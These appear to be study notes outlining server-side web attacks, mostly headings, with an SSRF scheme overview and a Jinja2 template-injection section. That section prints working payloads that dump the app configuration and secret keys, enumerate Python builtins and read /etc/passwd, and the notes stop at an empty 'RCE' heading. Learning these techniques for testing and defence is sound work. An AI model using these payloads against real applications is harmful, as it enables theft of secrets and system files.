Server Side Attacks
The infamous SSRF
The infamous SSTI
The infamous SSI Injection(Server-Side Includes)
XSLT Server-Side Injection
Specificity of SSRF
SSRF
INTRO
- http:// and https://: Used to scan the internal network, bypass firewalls, and access restricted administrative endpoints.
- file://: Allows the attacker to read arbitrary files from the server's local file system.
- gopher://: Enables sending custom data packets to other services, potentially facilitating attacks against internal databases or mail servers.
IDENTIFICATION
EXPLOTING
Blind SSRF
INTRO
IDENTIFICATION
EXPLOITATION
Specificity of SSTI
Templating Engines
The "Cookie Cutter" Analogy 🍪
INTRO
IDENTIFICATION
IDENTIFYING THE TEMPLATING ENGINE
EXPLOITATION( Jinja2 templating engine )
{{ config.items() }}
Since this payload dumps the entire web application configuration, including any used secret keys, we can prepare further attacks using the obtained information. We can also execute Python code to obtain information about the web application's source code. We can use the following SSTI payload to dump all available built-in functions:
{{ self.__init__.__globals__.__builtins__ }}
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
RCE


